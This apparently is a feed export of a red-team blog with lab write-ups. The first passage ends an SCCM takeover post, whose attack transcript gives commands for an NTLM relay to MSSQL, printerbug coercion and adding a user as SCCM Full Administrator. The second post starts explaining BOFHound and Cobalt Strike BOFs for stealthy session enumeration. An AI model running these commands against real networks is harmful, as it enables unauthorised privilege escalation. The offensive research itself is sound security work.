https://substackcdn.com/image/fetch/$s_!1Ug0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1Ug0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png" width="1456" height="925" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:925,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:436651,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:&quot;https://x.com/garrfoster&quot;,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1Ug0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 424w, https://substackcdn.com/image/fetch/$s_!1Ug0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 848w, https://substackcdn.com/image/fetch/$s_!1Ug0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 1272w, https://substackcdn.com/image/fetch/$s_!1Ug0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After taking whatever privileged actions in SCCM, we can perform cleanup with PySQLRecon&#8217;s <em>sccm removeadmin</em> module, and the ID/permissions string from the <em>addadmin</em> module output.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xgA1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xgA1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 424w, https://substackcdn.com/image/fetch/$s_!xgA1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 848w, https://substackcdn.com/image/fetch/$s_!xgA1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 1272w, https://substackcdn.com/image/fetch/$s_!xgA1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xgA1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png" width="1456" height="544" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:544,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:261213,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xgA1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 424w, https://substackcdn.com/image/fetch/$s_!xgA1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 848w, https://substackcdn.com/image/fetch/$s_!xgA1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 1272w, https://substackcdn.com/image/fetch/$s_!xgA1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc84392c-1e03-46fe-ac16-42ba2adde460_1794x670.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Attack Transcript</h3><pre><code># Start ntlmrelayx
sudo python3 ntlmrelayx.py -t mssql://10.4.10.13 -socks -smb2support

# Coerce auth via your preferred method
python3 printerbug.py ludus/domainuser:password@10.4.10.15 10.4.10.100/a

# Change the database context
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS query --query 'use CM_123'

# Insert our user into the DB as a Full Administrator
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS sccm addadmin --user 'LUDUS\domainuser' --sid S-1-5-21-2238930468-685714878-4101358463-1104 

# Confirm elevation
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS sccm users

# Cleanup
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS sccm removeadmin --adminid 16777223 --permissions '00000000|00000000'
</code></pre><h3>References &amp; Credits</h3><ul><li><p><a href="https://github.com/subat0mik/Misconfiguration-Manager">Misconfiguration Manager</a> by <a href="https://x.com/subat0mik">@subat0mik</a>, <a href="https://x.com/_Mayyhem">@_Mayyhem</a> &amp; <a href="https://x.com/garrfoster">@garrfoster</a></p></li><li><p><a href="https://github.com/skahwah/SQLRecon">SQLRecon</a> by <a href="https://x.com/sanjivkawa">@sanjivkawa</a> </p></li><li><p><a href="https://github.com/Synzack/ludus_sccm">ludus_sccm</a> by <a href="https://x.com/synzack21">@synzack21</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[BOFHound: Session Integration]]></title><description><![CDATA[Background]]></description><link>https://blog.tw1sm.io/p/bofhound-session-integration</link><guid isPermaLink="false">https://blog.tw1sm.io/p/bofhound-session-integration</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Tue, 30 Jan 2024 20:16:53 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/02246a01-be0b-4180-9b59-94c928a3b657_1728x1296.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Background</h3><p>If you&#8217;ve found yourself on a red team assessment without SharpHound (maybe due to OPSEC or stealth requirements), you&#8217;d probably agree that mapping Active Directory is significantly more difficult. Tying down nested group memberships and trying to map ACL-based attack paths can become exceedingly complex outside of BloodHound&#8217;s user interface and its Cypher queries. In early 2022, <a href="https://twitter.com/coffeegist">Adam Brown</a> and I released BOFHound (now being maintained in a <a href="https://github.com/coffeegist/bofhound">fork</a>) as one approach to address these difficulties. Despite the name, BOFHound is written in Python and is designed to parse raw LDAP search results out of command and control (C2) logfiles (originally from Cobalt Strike logs and the <code>ldapsearch</code> beacon object file [BOF]) into BloodHound compatible JSON. This allows for manual, operator-guided LDAP enumeration that can avoid triggering detection mechanisms (e.g., expensive LDAP query thresholds) that may alert on SharpHound, while still allowing for usage of BloodHound&#8217;s beloved relationship graphing.</p><p>Prior blog posts <a href="https://www.fortalicesolutions.com/posts/bofhound-granularize-your-active-directory-reconnaissance-game">here</a> and <a href="https://www.fortalicesolutions.com/posts/granularize-your-active-directory-reconnaissance-game-part-2">here</a> contain additional background and usage examples.</p><blockquote><p><strong>Note</strong>: BOFHound is not officially affiliated with BloodHound Enterprise (BHE) or BloodHound Community Edition (BHCE), nor does the BloodHound product team support it. This is simply tooling I co-created and maintain for fairly niche LDAP enumeration scenarios.</p></blockquote><h3>What&#8217;s New?</h3><p>One of the biggest pitfalls of BOFHound&#8217;s prior usage strategies was the total absence of user session and local group membership data. If operational requirements prevent you from running SharpHound, BOFHound previously served as a way to approximate its data collection/processing with manual LDAP queries, but did not allow for the parsing of non-LDAP data.</p><p>Of course, session and local group data have always been obtainable from a C2 implant without the use of SharpHound; for example, BOFs such as <code>netsession</code>, <code>netloggedon</code> and <code>netLocalGroupListMembers</code> (all part of the amazing TrustedSec <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF">situational awareness</a> [SA] BOF collection) leave this information a few keystrokes away. However, the output data can&#8217;t be visualized in BloodHound&#8217;s interface or used in its attack path mapping, leaving information gathered up to the operator for organization and tracking.</p><p>Today, I&#8217;ve submitted a <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF/pull/114">pull request</a> to the SA BOF collection, which consists of four &#8220;new&#8221; BOFs (which are really slightly modified versions of existing SA BOFs) with BOFHound compatibility. The modded BOFs don&#8217;t include any material upgrades to their original purpose, but are more suitable for log parsing and include more verbose information for BOFHound where possible (e.g., returning member SIDs and object types alongside local group member user names). Additionally, a new version of BOFHound (0.3.0) has been released that includes logic for parsing and processing session data and local group membership data these BOFs gather.</p><p>The remainder of this post delves into BOF details and a contrived example attack path visualized using the BOFs, BOFHound, and BHCE.</p><h3>Operator Guidance and&nbsp;Examples</h3><p>I&#8217;ve configured a test domain (<em>REDANIA.LOCAL</em>) with three domain machines and one Cobalt Strike team server (Figure 1).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VkWX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VkWX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 424w, https://substackcdn.com/image/fetch/$s_!VkWX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 848w, https://substackcdn.com/image/fetch/$s_!VkWX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 1272w, https://substackcdn.com/image/fetch/$s_!VkWX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VkWX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png" width="1000" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VkWX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 424w, https://substackcdn.com/image/fetch/$s_!VkWX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 848w, https://substackcdn.com/image/fetch/$s_!VkWX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 1272w, https://substackcdn.com/image/fetch/$s_!VkWX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14cce46e-133f-4d70-b4ed-dc1faa258246_1000x720.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 1&#8202;&#8212;&#8202;Lab&nbsp;Domain</figcaption></figure></div><p>The <em>CINTRA</em> workstation is running our Cobalt Strike Beacon, which is where we&#8217;ll simulate reconnaissance. For the sake of time, let&#8217;s assume I already collected all the LDAP objects we&#8217;re interested in with the <code>ldapsearch</code> BOF, using <code>(objectClass=*)</code> for the filter and the default search base of <code>DC=redania,DC=local</code> (remember to include <code>*,ntsecuritydescriptor</code> as the attributes for the search to return if you want to process ACL attack paths). Obviously, if we&#8217;re running this query, we may just want to run SharpHound with the <code>DCOnly</code> collection method, but that&#8217;s outside the scope of this post.</p><p>SharpHound offers two collection flags (<code>Session</code> and <code>LoggedOn</code>) for sessions, which perform remote collection using three methods:</p><ol><li><p><code>NetWkstaUserEnum </code>Windows API<br>- Part of SharpHound&#8217;s <code>LoggedOn</code> collection<br>- Internally referred to as <code>PrivilegedSessions</code></p></li><li><p>Querying the <code>HKEY_USERS</code> registry hive<br>- Part of SharpHound&#8217;s <code>LoggedOn</code> collection<br>- Internally referred to as <code>RegistrySessions</code></p></li><li><p><code>NetSessionEnum </code>Windows API<br>- Part of SharpHound&#8217;s <code>Session</code> collection<br>- Internally referred to as <code>Sessions</code></p></li></ol><p>SharpHound also offers collection methods for individual local groups (<code>LocalAdmin</code>, <code>RDP</code>, <code>DCOM</code> and <code>PSRemote</code>) and the <code>LocalGroup</code> method, which targets all of the four local groups.</p><p>Each of the four compatible BOFs serve as a type of &#8220;collector&#8221; for one of the functions discussed above.</p><h3>Privileged Session Enumeration</h3><p>The <code>netloggedon</code> BOF makes a <code>NetWkstaUserEnum</code> Windows API call, targeting the computer the operator specified. This API requires admin rights on the target machine and, according to Microsoft, &#8220;lists entries for service and batch logons, as well as for interactive logons.&#8221;</p><p><code>netloggedon2</code> is the least modified of the situational awareness BOFs; the only change is to include the operator-supplied servername in the output. If the BOF is used to query logged on users on localhost, the fully qualified computer DNS name from <code>GetComputerNameExW</code> is used.</p><p>Targeting the lab&#8217;s Server 2019 host (<em>OXENFURT</em>) with the BOF (where our simulated initial access user has admin rights) reveals several users logged in, either interactively or via a service (Figure 2).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uFG_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uFG_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 424w, https://substackcdn.com/image/fetch/$s_!uFG_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 848w, https://substackcdn.com/image/fetch/$s_!uFG_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 1272w, https://substackcdn.com/image/fetch/$s_!uFG_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uFG_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png" width="1000" height="961" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:961,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uFG_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 424w, https://substackcdn.com/image/fetch/$s_!uFG_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 848w, https://substackcdn.com/image/fetch/$s_!uFG_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 1272w, https://substackcdn.com/image/fetch/$s_!uFG_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0df953f2-f6ab-4369-83a7-bb7104a2e853_1000x961.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 2&#8202;&#8212;&#8202;Sessions Gathered with NetWkstaUserEnum</figcaption></figure></div><p>An important note here is that fully qualified DNS names are important when supplying the <code>servername</code> argument. BOFHound tries to match the session data to an LDAP computer object based on a matching <code>dNSHostName</code> attribute. If that fails, the DNS suffix (e.g., <em>REDANIA.LOCAL</em>) will be converted to a distinguished name (e.g., <em>DC=REDANIA,DC=LOCAL</em>) and the hostname (e.g., <em>OXENFURT</em>) will be used to match a computer object&#8217;s <code>sAMAccountName</code> attribute (e.g., <code>OXENFURT$</code>), within that domain. Both of these rely on supplying fully-qualified domain names (FQDNs) as arguments. Targeting hosts by unqualified name or IP address is not supported (the BOFs will still work, but BOFHound won&#8217;t be able to match the session to a computer object). These same principles will apply to the <code>regsession</code> and <code>netLocalGroupListMember2</code> BOFs.</p><h3>Registry Session Enumeration</h3><p>This is the second method SharpHound uses when the <code>LoggedOn</code> collection method is specified and also requires admin rights on the remote target. The <code>HKEY_USERS</code> registry hive on a system will contain SIDs as subkeys for currently logged on users (both local and domain). Taking a look at the registry on the enumeration target for my lab (<em>OXENFURT</em>), there are subkeys indicating the presence of three domain user logons (Figure 3).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!s0Ps!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!s0Ps!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 424w, https://substackcdn.com/image/fetch/$s_!s0Ps!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 848w, https://substackcdn.com/image/fetch/$s_!s0Ps!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 1272w, https://substackcdn.com/image/fetch/$s_!s0Ps!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!s0Ps!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png" width="1000" height="756" 